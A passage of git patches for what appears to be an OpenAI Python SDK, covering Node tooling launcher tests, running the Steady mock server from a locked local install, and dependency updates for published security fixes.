index 0000000000..3faeb83946
--- /dev/null
+++ b/tests/node-tooling.test.cjs
@@ -0,0 +1,116 @@
+'use strict';
+
+const assert = require('node:assert/strict');
+const fs = require('node:fs');
+const os = require('node:os');
+const path = require('node:path');
+const { spawnSync } = require('node:child_process');
+const { test } = require('node:test');
+const repository = path.resolve(__dirname, '..');
+
+function fixture(t) {
+ const root = fs.mkdtempSync(path.join(os.tmpdir(), 'openai-node-tooling-'));
+ t.after(() => fs.rmSync(root, { recursive: true, force: true }));
+ for (const file of ['package.json', 'scripts/bootstrap-node', 'scripts/run-pyright', 'scripts/utils/node-tooling.cjs']) {
+ fs.mkdirSync(path.dirname(path.join(root, file)), { recursive: true });
+ fs.copyFileSync(path.join(repository, file), path.join(root, file));
+ }
+ // Exercise launcher behavior independently of the host's Node version.
+ const manifest = JSON.parse(fs.readFileSync(path.join(root, 'package.json')));
+ manifest.engines.node = process.versions.node;
+ fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify(manifest));
+ return root;
+}
+
+function installFake(root, version = '1.1.399') {
+ const directory = path.join(root, 'node_modules/pyright');
+ fs.mkdirSync(directory, { recursive: true });
+ fs.writeFileSync(path.join(directory, 'package.json'), JSON.stringify({ version }));
+ fs.writeFileSync(path.join(directory, 'index.js'), 'console.log(JSON.stringify(process.argv.slice(2))); process.exit(7);');
+}
+
+function run(root, args = ['pyright'], env = {}) {
+ return spawnSync(process.execPath, ['scripts/utils/node-tooling.cjs', ...args], {
+ cwd: root, encoding: 'utf8', env: { ...process.env, PATH: '', ...env },
+ });
+}
+
+test('missing or stale tools fail without a package manager on PATH', (t) => {
+ const root = fixture(t);
+ let result = run(root);
+ assert.equal(result.status, 1);
+ assert.match(result.stderr, /Missing local pyright/);
+ assert.match(result.stderr, /scripts\/bootstrap/);
+ installFake(root, '0.0.0');
+ result = run(root);
+ assert.equal(result.status, 1);
+ assert.match(result.stderr, /Expected pyright/);
+});
+
+test('local launcher forwards arguments and exit status without npm', (t) => {
+ const root = fixture(t);
+ installFake(root);
+ const result = run(root, ['pyright', '-p', 'config with spaces.json', '--version']);
+ assert.equal(result.status, 7);
+ assert.deepEqual(JSON.parse(result.stdout), ['-p', 'config with spaces.json', '--version']);
+});
+
+test('wrong Node version fails before loading a tool', (t) => {
+ const root = fixture(t);
+ const file = path.join(root, 'package.json');
+ const manifest = JSON.parse(fs.readFileSync(file));
+ manifest.engines.node = '0.0.0';
+ fs.writeFileSync(file, JSON.stringify(manifest));
+ const result = run(root);
+ assert.equal(result.status, 1);
+ assert.match(result.stderr, /Expected Node.js 0.0.0/);
+});
+
+test('bootstrap refuses a wrong pnpm without attempting an install', (t) => {
+ const root = fixture(t);
+ const bin = path.join(root, 'bin');
+ fs.mkdirSync(bin);
+ fs.symlinkSync(process.execPath, path.join(bin, 'node'));
+ fs.symlinkSync('/usr/bin/dirname', path.join(bin, 'dirname'));
+ fs.writeFileSync(path.join(bin, 'pnpm'), '#!/bin/sh\n[ "$1" = --version ] || exit 90\nprintf "0.0.0\\n"\n', { mode: 0o755 });
+ const result = spawnSync('/bin/bash', ['scripts/bootstrap-node'], {
+ cwd: root, encoding: 'utf8', env: { ...process.env, PATH: bin },
+ });
+ assert.equal(result.status, 1);
+ assert.match(result.stderr, /Expected pnpm/);
+});
+
+test('Node dependency policy stays fail-closed', () => {
+ const policy = fs.readFileSync(path.join(repository, 'pnpm-workspace.yaml'), 'utf8');
+ for (const setting of [
+ 'minimumReleaseAge: 11520',
+ 'minimumReleaseAgeStrict: true',
+ 'minimumReleaseAgeIgnoreMissingTime: false',
+ 'trustPolicy: no-downgrade',
+ 'trustLockfile: false',
+ 'blockExoticSubdeps: true',
+ 'pmOnFail: error',
+ 'runtimeOnFail: error',
+ 'verifyDepsBeforeRun: error',
+ 'ignoreScripts: true',
+ 'strictDepBuilds: true',
+ 'allowBuilds: {}',
+ ]) assert.ok(policy.split(/\r?\n/).includes(setting), `Missing policy: ${setting}`);
+});
+
+test('devcontainer installs the pinned toolchain and bootstraps local tools', (t) => {
+ const file = path.join(repository, '.devcontainer/devcontainer.json');
+ if (!fs.existsSync(file)) {
+ t.skip('Devcontainer configuration is not included in source distributions');
+ return;
+ }
+ // This checked-in JSONC file uses only whole-line comments.
+ const config = JSON.parse(fs.readFileSync(file, 'utf8').split(/\r?\n/)
+ .filter((line) => !line.trimStart().startsWith('//')).join('\n'));
+ const manifest = JSON.parse(fs.readFileSync(path.join(repository, 'package.json')));
+ const feature = config.features['ghcr.io/devcontainers/features/node:1'];
+ assert.equal(feature.version, manifest.engines.node);
+ assert.equal(feature.version, fs.readFileSync(path.join(repository, '.node-version'), 'utf8').trim());
+ assert.equal(`pnpm@${feature.pnpmVersion}`, manifest.packageManager);
+ assert.equal(config.postStartCommand, './scripts/bootstrap');
+});
diff --git a/tests/test_uv_workflows.py b/tests/test_uv_workflows.py
index bf7c247ab1..1bc73aff29 100644
--- a/tests/test_uv_workflows.py
+++ b/tests/test_uv_workflows.py
@@ -34,7 +34,7 @@ def test_dependabot_delays_only_ordinary_version_updates() -> None:
pytest.skip("GitHub configuration is not included in source distributions")
config = path.read_text()
entries = re.findall(r"^ - package-ecosystem: ([\w-]+)\n(.*?)(?=^ - |\Z)", config, re.M | re.S)
- assert {name for name, _ in entries} == {"uv", "github-actions"}
+ assert {name for name, _ in entries} == {"uv", "github-actions", "npm"}
for _, entry in entries:
assert re.search(r"^ cooldown:\n default-days: 8$", entry, re.M)
assert re.search(r"^ directory: /$", entry, re.M)
diff --git a/uv.lock b/uv.lock
index 5c5336ea00..1b5c3230d4 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1129,15 +1129,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/79/7b/2c79738432f5c924bef5071f933bcc9efd0473bac3b4aa584a6f7c1c8df8/mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505", size = 4963, upload-time = "2025-04-22T14:54:22.983Z" },
]
-[[package]]
-name = "nodeenv"
-version = "1.9.1"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/43/16/fc88b08840de0e0a72a2f9d8c6bae36be573e475a6326ae854bcc549fc45/nodeenv-1.9.1.tar.gz", hash = "sha256:6ec12890a2dab7946721edbfbcd91f3319c6ccc9aec47be7c7e6b7011ee6645f", size = 47437, upload-time = "2024-06-04T18:44:11.171Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/d2/1d/1b658dbd2b9fa9c4c9f32accbfc0205d532c8c6194dc0f2a4c0428e7128a/nodeenv-1.9.1-py2.py3-none-any.whl", hash = "sha256:ba11c9782d29c27c70ffbdda2d7415098754709be8a7056d79a737cd901155c9", size = 22314, upload-time = "2024-06-04T18:44:08.352Z" },
-]
-
[[package]]
name = "numpy"
version = "2.2.6"
@@ -1345,7 +1336,6 @@ dev = [
{ name = "inline-snapshot" },
{ name = "mypy" },
{ name = "pandas-stubs" },
- { name = "pyright" },
{ name = "pytest" },
{ name = "pytest-asyncio" },
{ name = "pytest-xdist" },
@@ -1395,7 +1385,6 @@ dev = [
{ name = "inline-snapshot", specifier = ">=0.28.0" },
{ name = "mypy", specifier = "==1.17" },
{ name = "pandas-stubs", specifier = ">=1.1.0.11" },
- { name = "pyright", specifier = "==1.1.399" },
{ name = "pytest" },
{ name = "pytest-asyncio" },
{ name = "pytest-xdist", specifier = ">=3.6.1" },
@@ -1878,19 +1867,6 @@ crypto = [
{ name = "cryptography" },
]
-[[package]]
-name = "pyright"
-version = "1.1.399"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
- { name = "nodeenv" },
- { name = "typing-extensions" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/db/9d/d91d5f6d26b2db95476fefc772e2b9a16d54c6bd0ea6bb5c1b6d635ab8b4/pyright-1.1.399.tar.gz", hash = "sha256:439035d707a36c3d1b443aec980bc37053fbda88158eded24b8eedcf1c7b7a1b", size = 3856954, upload-time = "2025-04-10T04:40:25.703Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/2f/b5/380380c9e7a534cb1783c70c3e8ac6d1193c599650a55838d0557586796e/pyright-1.1.399-py3-none-any.whl", hash = "sha256:55f9a875ddf23c9698f24208c764465ffdfd38be6265f7faf9a176e1dc549f3b", size = 5592584, upload-time = "2025-04-10T04:40:23.502Z" },
-]
-
[[package]]
name = "pytest"
version = "9.0.3"
From 370fcc60ce9006db5a75dcd0333790dfe71a907c Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 16:13:18 +0000
Subject: [PATCH 037/341] chore: run the mock server from locked local tooling
(#3679)
# Summary
This is part of a series to reduce the SDK's dependency surface and make
contributor tooling more predictable. It builds on the merged #3678.
- Lock the existing Steady 0.22.1 release and its platform packages in
the repository's pnpm lockfile.
- Keep `./scripts/bootstrap` followed by `./scripts/test` working,
including automatic mock-server startup, an existing server,
`TEST_API_BASE_URL`, and both Pydantic test lanes.
- Run only the locally installed mock server. Missing tooling produces
setup instructions instead of an on-demand npm download.
This completes the mock-tooling portion of #3116 using the current
uv/pnpm setup.
---
CONTRIBUTING.md | 6 ++++
package.json | 1 +
pnpm-lock.yaml | 56 ++++++++++++++++++++++++++++++++++
scripts/mock | 19 +++++++-----
scripts/run-steady | 8 +++++
scripts/test | 5 +--
scripts/utils/node-tooling.cjs | 30 ++++++++++++------
tests/node-tooling.test.cjs | 47 +++++++++++++++++++++++++++-
8 files changed, 152 insertions(+), 20 deletions(-)
create mode 100755 scripts/run-steady
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 3262f7ae96..ecddf930bc 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -148,6 +148,12 @@ $ pip install ./path-to-wheel-file.whl
Most tests require you to [set up a mock server](https://github.com/dgellow/steady) against the OpenAPI spec to run the tests.
+`./scripts/bootstrap` installs the locked Steady package and its platform
+binary. `./scripts/test` starts it automatically when no mock server is running.
+Neither `./scripts/test` nor `./scripts/mock` downloads Node tools. If the local
+tool is missing, rerun bootstrap. `TEST_API_BASE_URL` and an already-running
+mock server remain supported. To start the server yourself:
+
```sh
$ ./scripts/mock
```
diff --git a/package.json b/package.json
index 29cfae3a65..53de130005 100644
--- a/package.json
+++ b/package.json
@@ -6,6 +6,7 @@
"node": "22.22.3"
},
"devDependencies": {
+ "@stdy/cli": "0.22.1",
"pyright": "1.1.399"
}
}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 2f39cd8366..45da89b46c 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -8,12 +8,45 @@ importers:
.:
devDependencies:
+ '@stdy/cli':
+ specifier: 0.22.1
+ version: 0.22.1
pyright:
specifier: 1.1.399
version: 1.1.399
packages:
+ '@stdy/cli-darwin-arm64@0.22.1':
+ resolution: {integrity: sha512-sahxc3R9I+vO7dDr7t9aneE8aLZdZeaQU5OfhZVLny97K8K7RXqhpXHN/0DFvg3Pw5ZKisHvJysY3iu/LIZA6g==}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@stdy/cli-darwin-x64@0.22.1':
+ resolution: {integrity: sha512-/bVzcHkbX6zn5qZL73oWR5YXVc/+/IP7uWYw905B+hWRuZlJfN7hX4+68BxCBOI8wiRf82cSQjRnI/Datdwz1Q==}
+ cpu: [x64]
+ os: [darwin]
+
+ '@stdy/cli-linux-arm64@0.22.1':
+ resolution: {integrity: sha512-XGQy3ZqF5COqRgAVGxCdoW9dzxnfxxCSAHCGmhpFc+pVfpQcYHfPcnNhmWhplMCeriTUyCKLJG+/fGdyji7e2Q==}
+ cpu: [arm64]
+ os: [linux]
+
+ '@stdy/cli-linux-x64@0.22.1':
+ resolution: {integrity: sha512-u7581I3sc6R+PUwGkvEFbvD/w6YXvRk+iT0BImWKPtKYA26cPP16lgA7gquu3tAEk+3c9YGn5xhUphCc96aLSg==}
+ cpu: [x64]
+ os: [linux]
+
+ '@stdy/cli-win32-x64@0.22.1':
+ resolution: {integrity: sha512-4kkgSGCKTO/Fb+ciBANshegYIztBqynIyOveWYc3Vp7mXszg8yx6slKSzz5bg757H8Ol2jxxuL4XxHVIGMr6Rw==}
+ cpu: [x64]
+ os: [win32]
+
+ '@stdy/cli@0.22.1':
+ resolution: {integrity: sha512-VdnCoK/d0JWIhToajBxAdagTpLCX/zTd7RiuK1KdT12Q4pZn/+eS97gq94+jv6TbiMd+9SWeOdsQCoagpLmNfA==}
+ engines: {node: '>=14.0.0'}
+ hasBin: true
+
fsevents@2.3.3:
resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==}
engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
@@ -26,6 +59,29 @@ packages:
snapshots:
+ '@stdy/cli-darwin-arm64@0.22.1':
+ optional: true
+
+ '@stdy/cli-darwin-x64@0.22.1':
+ optional: true
+
+ '@stdy/cli-linux-arm64@0.22.1':
+ optional: true
+
+ '@stdy/cli-linux-x64@0.22.1':
+ optional: true
+
+ '@stdy/cli-win32-x64@0.22.1':
+ optional: true
+
+ '@stdy/cli@0.22.1':
+ optionalDependencies:
+ '@stdy/cli-darwin-arm64': 0.22.1
+ '@stdy/cli-darwin-x64': 0.22.1
+ '@stdy/cli-linux-arm64': 0.22.1
+ '@stdy/cli-linux-x64': 0.22.1
+ '@stdy/cli-win32-x64': 0.22.1
+
fsevents@2.3.3:
optional: true
diff --git a/scripts/mock b/scripts/mock
index 740f8afb20..e91f6afd4c 100755
--- a/scripts/mock
+++ b/scripts/mock
@@ -1,10 +1,10 @@
#!/usr/bin/env bash
-set -e
+set -euo pipefail
cd "$(dirname "$0")/.."
-if [[ -n "$1" && "$1" != '--'* ]]; then
+if [[ -n "${1:-}" && "$1" != '--'* ]]; then
URL="$1"
shift
elif [[ -f .castiron.stats.yml && -f api_reference/openapi.transformed.yml ]]; then
@@ -24,17 +24,19 @@ fi
echo "==> Starting mock server with URL ${URL}"
# Run steady mock on the given spec
-if [ "$1" == "--daemon" ]; then
- # Pre-install the package so the download doesn't eat into the startup timeout
- npm exec --package=@stdy/cli@0.22.1 -- steady --version
+if [ "${1:-}" == "--daemon" ]; then
+ # Check the already-installed tool before starting the readiness timeout.
+ ./scripts/run-steady --version
- npm exec --package=@stdy/cli@0.22.1 -- steady --host 127.0.0.1 -p 4010 --validator-query-array-format=brackets --validator-form-array-format=brackets --validator-query-object-format=brackets --validator-form-object-format=brackets "$URL" &> .stdy.log &
+ ./scripts/run-steady --host 127.0.0.1 -p 4010 --validator-query-array-format=brackets --validator-form-array-format=brackets --validator-query-object-format=brackets --validator-form-object-format=brackets "$URL" &> .stdy.log &
+ server_pid=$!
+ trap 'kill "$server_pid" 2>/dev/null || true' EXIT
# Wait for server to come online via health endpoint (max 30s)
echo -n "Waiting for server"
attempts=0
while ! curl --silent --fail "http://127.0.0.1:4010/_x-steady/health" >/dev/null 2>&1; do
- if ! kill -0 $! 2>/dev/null; then
+ if ! kill -0 "$server_pid" 2>/dev/null; then
echo
cat .stdy.log
exit 1
@@ -51,6 +53,7 @@ if [ "$1" == "--daemon" ]; then
done
echo
+ trap - EXIT
else
- npm exec --package=@stdy/cli@0.22.1 -- steady --host 127.0.0.1 -p 4010 --validator-query-array-format=brackets --validator-form-array-format=brackets --validator-query-object-format=brackets --validator-form-object-format=brackets "$URL"
+ exec ./scripts/run-steady --host 127.0.0.1 -p 4010 --validator-query-array-format=brackets --validator-form-array-format=brackets --validator-query-object-format=brackets --validator-form-object-format=brackets "$URL"
fi
diff --git a/scripts/run-steady b/scripts/run-steady
new file mode 100755
index 0000000000..ed8ec01073
--- /dev/null
+++ b/scripts/run-steady
@@ -0,0 +1,8 @@
+#!/usr/bin/env bash
+set -euo pipefail
+cd "$(dirname "$0")/.."
+if ! command -v node >/dev/null 2>&1; then
+ echo 'Node.js is missing. Follow CONTRIBUTING.md, then run ./scripts/bootstrap.' >&2
+ exit 1
+fi
+exec node scripts/utils/node-tooling.cjs steady "$@"
diff --git a/scripts/test b/scripts/test
index a8e326615d..68546c7c4d 100755
--- a/scripts/test
+++ b/scripts/test
@@ -10,7 +10,7 @@ YELLOW='\033[0;33m'
NC='\033[0m' # No Color
function steady_is_running() {
- curl --silent "http://127.0.0.1:4010/_x-steady/health" >/dev/null 2>&1
+ curl --silent --fail "http://127.0.0.1:4010/_x-steady/health" >/dev/null 2>&1
}
kill_server_on_port() {
@@ -43,7 +43,8 @@ elif ! steady_is_running ; then
echo -e "To run the server, pass in the path or url of your OpenAPI"
echo -e "spec to the steady command:"
echo
- echo -e " \$ ${YELLOW}npm exec --package=@stdy/cli@0.22.1 -- steady path/to/your.openapi.yml --host 127.0.0.1 -p 4010 --validator-query-array-format=brackets --validator-form-array-format=brackets --validator-query-object-format=brackets --validator-form-object-format=brackets${NC}"
+ echo -e " \$ ${YELLOW}./scripts/bootstrap${NC}"
+ echo -e " \$ ${YELLOW}./scripts/mock path/to/your.openapi.yml${NC}"
echo
exit 1
diff --git a/scripts/utils/node-tooling.cjs b/scripts/utils/node-tooling.cjs
index f6b28e77a8..30d8447213 100644
--- a/scripts/utils/node-tooling.cjs
+++ b/scripts/utils/node-tooling.cjs
@@ -18,21 +18,33 @@ if (process.versions.node !== manifest.engines.node) {
const [tool, ...args] = process.argv.slice(2);
if (tool === '--check-node') process.exit(0);
-if (tool !== 'pyright') fail(`Unknown repository tool: ${tool}`);
+const tools = {
+ pyright: { package: 'pyright', entry: 'index.js' },
+ steady: { package: '@stdy/cli', entry: 'steady.js' },
+};
+if (!Object.hasOwn(tools, tool)) fail(`Unknown repository tool: ${tool}`);
+const selected = tools[tool];
-const directory = path.join(root, 'node_modules', tool);
+const directory = path.join(root, 'node_modules', selected.package);
let installed;
try {
installed = JSON.parse(fs.readFileSync(path.join(directory, 'package.json'), 'utf8'));
} catch {
fail(`Missing local ${tool}.`);
}
-if (installed.version !== manifest.devDependencies[tool]) {
- fail(`Expected ${tool} ${manifest.devDependencies[tool]}, found ${installed.version}.`);
+if (installed.version !== manifest.devDependencies[selected.package]) {
+ fail(`Expected ${tool} ${manifest.devDependencies[selected.package]}, found ${installed.version}.`);
}
-const entry = path.join(directory, 'index.js');
+const entry = path.join(directory, selected.entry);
if (!fs.existsSync(entry)) fail(`Missing local ${tool} executable.`);
-// Calling Node explicitly also avoids upstream 1.1.399's CRLF shebang issue.
-const result = spawnSync(process.execPath, [entry, ...args], { stdio: 'inherit' });
-if (result.error) fail(`Could not start ${tool}: ${result.error.message}`);
-process.exit(result.status ?? 1);
+if (tool === 'steady') {
+ // The upstream wrapper owns its native child and forwards termination signals.
+ // Run it in this process so mock-server cleanup reaches that child.
+ process.argv = [process.execPath, entry, ...args];
+ require(entry);
+} else {
+ // Calling Node explicitly also avoids upstream 1.1.399's CRLF shebang issue.
+ const result = spawnSync(process.execPath, [entry, ...args], { stdio: 'inherit' });
+ if (result.error) fail(`Could not start ${tool}: ${result.error.message}`);
+ process.exit(result.status ?? 1);
+}
diff --git a/tests/node-tooling.test.cjs b/tests/node-tooling.test.cjs
index 3faeb83946..35c0c2fc2e 100644
--- a/tests/node-tooling.test.cjs
+++ b/tests/node-tooling.test.cjs
@@ -11,7 +11,7 @@ const repository = path.resolve(__dirname, '..');
function fixture(t) {
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'openai-node-tooling-'));
t.after(() => fs.rmSync(root, { recursive: true, force: true }));
- for (const file of ['package.json', 'scripts/bootstrap-node', 'scripts/run-pyright', 'scripts/utils/node-tooling.cjs']) {
+ for (const file of ['package.json', 'scripts/bootstrap-node', 'scripts/run-pyright', 'scripts/run-steady', 'scripts/test', 'scripts/utils/node-tooling.cjs']) {
fs.mkdirSync(path.dirname(path.join(root, file)), { recursive: true });
fs.copyFileSync(path.join(repository, file), path.join(root, file));
}
@@ -80,6 +80,51 @@ test('bootstrap refuses a wrong pnpm without attempting an install', (t) => {
assert.match(result.stderr, /Expected pnpm/);
});
+test('Steady is local-only and receives the original arguments', (t) => {
+ const root = fixture(t);
+ const missing = run(root, ['steady', '--version']);
+ assert.equal(missing.status, 1);
+ assert.match(missing.stderr, /Missing local steady/);
+ const directory = path.join(root, 'node_modules/@stdy/cli');
+ fs.mkdirSync(directory, { recursive: true });
+ fs.writeFileSync(path.join(directory, 'package.json'), JSON.stringify({ version: '0.22.1' }));
+ fs.writeFileSync(path.join(directory, 'steady.js'), 'console.log(JSON.stringify(process.argv.slice(2)));');
+ const result = run(root, ['steady', 'spec with spaces.yml', '--version']);
+ assert.equal(result.status, 0);
+ assert.deepEqual(JSON.parse(result.stdout), ['spec with spaces.yml', '--version']);
+});
+
+function executable(root, file, content) {
+ const target = path.join(root, file);
+ fs.mkdirSync(path.dirname(target), { recursive: true });
+ fs.writeFileSync(target, '#!/bin/sh\nset -e\n' + content + '\n', { mode: 0o755 });
+}
+
+for (const mode of ['start', 'running', 'override']) {
+ test(`scripts/test preserves ${mode} mock-server behavior and both Python lanes`, (t) => {
+ const root = fixture(t);
+ const log = path.join(root, 'calls');
+ const ready = path.join(root, 'ready');
+ if (mode === 'running') fs.writeFileSync(ready, '');
+ executable(root, 'bin/curl', '[ -f "$READY" ]');
+ executable(root, 'bin/lsof', 'exit 0');
+ executable(root, 'bin/uv', 'printf "uv %s\\n" "$*" >> "$CALLS"');
+ executable(root, 'scripts/mock', 'printf "mock %s\\n" "$*" >> "$CALLS"\n: > "$READY"');
+ executable(root, 'scripts/test-pydantic-v1', 'printf "v1 %s\\n" "$*" >> "$CALLS"');
+ const result = spawnSync('/bin/bash', ['scripts/test', '-q', 'tests/test_client.py'], {
+ cwd: root, encoding: 'utf8', env: {
+ ...process.env, PATH: path.join(root, 'bin') + ':/usr/bin:/bin', CALLS: log, READY: ready,
+ TEST_API_BASE_URL: mode === 'override' ? 'http://example.invalid' : '',
+ },
+ });
+ assert.equal(result.status, 0, result.stderr);
+ const calls = fs.readFileSync(log, 'utf8');
+ assert.equal(calls.includes('mock --daemon'), mode === 'start');
+ assert.match(calls, /uv run --locked --all-extras pytest -q tests\/test_client.py/);
+ assert.match(calls, /v1 -q tests\/test_client.py/);
+ });
+}
+
test('Node dependency policy stays fail-closed', () => {
const policy = fs.readFileSync(path.join(repository, 'pnpm-workspace.yaml'), 'utf8');
for (const setting of [
From 53aa4fc68b65f42456cafaaa5ff4b0d317184752 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 16:22:10 +0000
Subject: [PATCH 038/341] fix(deps): update dependencies with published
security fixes (#3680)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
# Summary
This continues our work to reduce the SDK’s dependency surface and keep
dependencies on releases with published security fixes.
- Update jiter and exclude affected Pydantic releases while retaining
Pydantic 1.x and 2.x support.
- Retain security floors for the development-only Azure authentication
and test updates already merged in #3676, and update the isolated
wheel-test pins. Bump Hatchling to 1.27 so the patched Pygments release
can still build from source.
- Keep the eight-day policy and existing package count unchanged. Add an
offline regression test and contributor guidance to prevent private
registry URLs from entering the public lockfile.
The development lockfile bumps landed in #3676 while this PR was in
flight. After merging current main, only jiter and Hatchling change
versions here; none of the newly landed fixes is downgraded. The root
lock has 74 package names and 76 exact versions, with no active reviewed
Python advisory matches. Separate native-dependency findings in Pydantic
remain follow-up work pending a compatible stable upstream release.
Published advisories covered by the updates and retained
security floors
- Pydantic’s supported version range:
[GHSA-mr82-8j83-vxmv](https://github.com/advisories/GHSA-mr82-8j83-vxmv).
- jiter’s PyO3 update:
[GHSA-36hh-v3qg-5jq4](https://github.com/advisories/GHSA-36hh-v3qg-5jq4),
[GHSA-chgr-c6px-7xpp](https://github.com/advisories/GHSA-chgr-c6px-7xpp).
- Azure Core and Requests:
[GHSA-jm66-cg57-jjv5](https://github.com/advisories/GHSA-jm66-cg57-jjv5),
[GHSA-gc5v-m9x4-r6x2](https://github.com/advisories/GHSA-gc5v-m9x4-r6x2).
- PyJWT:
[GHSA-993g-76c3-p5m4](https://github.com/advisories/GHSA-993g-76c3-p5m4),
[GHSA-752w-5fwx-jx9f](https://github.com/advisories/GHSA-752w-5fwx-jx9f),
[GHSA-w7vc-732c-9m39](https://github.com/advisories/GHSA-w7vc-732c-9m39),
[GHSA-xgmm-8j9v-c9wx](https://github.com/advisories/GHSA-xgmm-8j9v-c9wx),
[GHSA-jq35-7prp-9v3f](https://github.com/advisories/GHSA-jq35-7prp-9v3f),
[GHSA-fhv5-28vv-h8m8](https://github.com/advisories/GHSA-fhv5-28vv-h8m8).
- Cryptography:
[GHSA-m2h6-j472-rp4c](https://github.com/advisories/GHSA-m2h6-j472-rp4c),
[GHSA-jwv3-5hgf-82ww](https://github.com/advisories/GHSA-jwv3-5hgf-82ww),
[GHSA-g6cj-pr64-35w5](https://github.com/advisories/GHSA-g6cj-pr64-35w5),
[GHSA-537c-gmf6-5ccf](https://github.com/advisories/GHSA-537c-gmf6-5ccf),
[GHSA-p423-j2cm-9vmq](https://github.com/advisories/GHSA-p423-j2cm-9vmq),
[GHSA-m959-cc7f-wv43](https://github.com/advisories/GHSA-m959-cc7f-wv43),
[GHSA-r6ph-v2qm-q3c2](https://github.com/advisories/GHSA-r6ph-v2qm-q3c2).
- pytest and Pygments:
[GHSA-6w46-j5rx-g56g](https://github.com/advisories/GHSA-6w46-j5rx-g56g),
[GHSA-5239-wwwm-4pmq](https://github.com/advisories/GHSA-5239-wwwm-4pmq).
---
CONTRIBUTING.md | 9 ++
pyproject.toml | 24 ++-
scripts/utils/validate-httpx2-wheel.py | 2 +-
tests/test_uv_workflows.py | 28 ++++
uv.lock | 214 +++++++++++++------------
5 files changed, 167 insertions(+), 110 deletions(-)
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index ecddf930bc..9e215de1ac 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -45,6 +45,15 @@ excludes Python distribution artifacts uploaded within the last eight days.
Dependabot security updates remain enabled and are exempt from Dependabot's
version-update cooldown.
+The committed `uv.lock` must remain usable outside a contributor's environment:
+registry sources use `https://pypi.org/simple`, and distribution artifacts use
+hashed `https://files.pythonhosted.org/packages/` URLs. If a managed registry
+rewrites those locations, keep its required local security checks enabled. Use
+dependency-update automation or an approved public-lockfile repair that matches
+each exact filename and SHA-256 against upstream metadata; do not substitute
+hosts blindly or commit private registry URLs. The public-source regression test
+in `tests/test_uv_workflows.py` checks this without making network requests.
+
Do not lower a security-fixed minimum or downgrade a patched lock entry to make
the cooldown pass. If an urgent fix is too new for uv, request SDK CODEOWNER
review of the advisory, exact fixed version, upstream provenance, artifact
diff --git a/pyproject.toml b/pyproject.toml
index 1211a41257..609ea7bb98 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -10,11 +10,11 @@ authors = [
dependencies = [
"httpx2>=2.7.0, <3",
- "pydantic>=1.9.0, <3",
+ "pydantic>=1.10.13, <3, !=2.0.*, !=2.1.*, !=2.2.*, !=2.3.*",
"typing-extensions>=4.14, <5",
"anyio>=4.10.0, <5",
"sniffio",
- "jiter>=0.10.0, <1",
+ "jiter>=0.16.0, <1",
]
requires-python = ">= 3.10"
@@ -54,8 +54,8 @@ bedrock = [
[dependency-groups]
dev = [
"mypy==1.17",
- "pytest",
- "pytest-asyncio",
+ "pytest>=9.0.3",
+ "pytest-asyncio>=1.4.0",
"ruff",
"rich>=13.7.1",
"inline-snapshot>=0.28.0",
@@ -70,7 +70,7 @@ pydantic-v1 = ["pydantic>=1.10.26,<2"]
pydantic-v2 = ["pydantic>=2,<3"]
# Isolated build requirements are exported with hashes by scripts/build.
build = [
- "hatchling==1.26.3",
+ "hatchling==1.27.0",
"packaging==26.3",
"pathspec==1.1.1",
"pluggy==1.6.0",
@@ -84,9 +84,19 @@ required-version = ">=0.12.1"
exclude-newer = "8 days"
default-groups = ["dev", "pydantic-v2"]
conflicts = [[{ group = "pydantic-v1" }, { group = "pydantic-v2" }]]
+# Security floors for transitive development dependencies. Constraints do not
+# install these packages into the SDK's runtime environment.
+constraint-dependencies = [
+ "azure-core>=1.38.0",
+ "cryptography>=50.0.0",
+ "msal>=1.37.0",
+ "pygments>=2.20.0",
+ "pyjwt>=2.13.0",
+ "requests>=2.33.0",
+]
# Also constrain editable/source builds performed by uv sync.
build-constraint-dependencies = [
- "hatchling==1.26.3",
+ "hatchling==1.27.0",
"packaging==26.3",
"pathspec==1.1.1",
"pluggy==1.6.0",
@@ -96,7 +106,7 @@ build-constraint-dependencies = [
[build-system]
-requires = ["hatchling==1.26.3"]
+requires = ["hatchling==1.27.0"]
build-backend = "hatchling.build"
[tool.hatch.build]
diff --git a/scripts/utils/validate-httpx2-wheel.py b/scripts/utils/validate-httpx2-wheel.py
index 6b6682eeaa..42bf72d177 100644
--- a/scripts/utils/validate-httpx2-wheel.py
+++ b/scripts/utils/validate-httpx2-wheel.py
@@ -103,7 +103,7 @@ def main() -> None:
wheel = wheels[0]
validate_metadata(wheel)
- common = ["pytest==8.4.1", "pytest-asyncio==1.1.0"]
+ common = ["pytest==9.0.3", "pytest-asyncio==1.4.0", "pygments==2.20.0"]
run_case(wheel, extra=None, tests=[BASE_TEST, HTTPX2_TEST], dependencies=common)
run_case(wheel, extra="aiohttp", tests=[BASE_TEST], dependencies=common)
run_case(
diff --git a/tests/test_uv_workflows.py b/tests/test_uv_workflows.py
index 1bc73aff29..ed9636f93a 100644
--- a/tests/test_uv_workflows.py
+++ b/tests/test_uv_workflows.py
@@ -5,6 +5,7 @@
import sys
import json
import subprocess
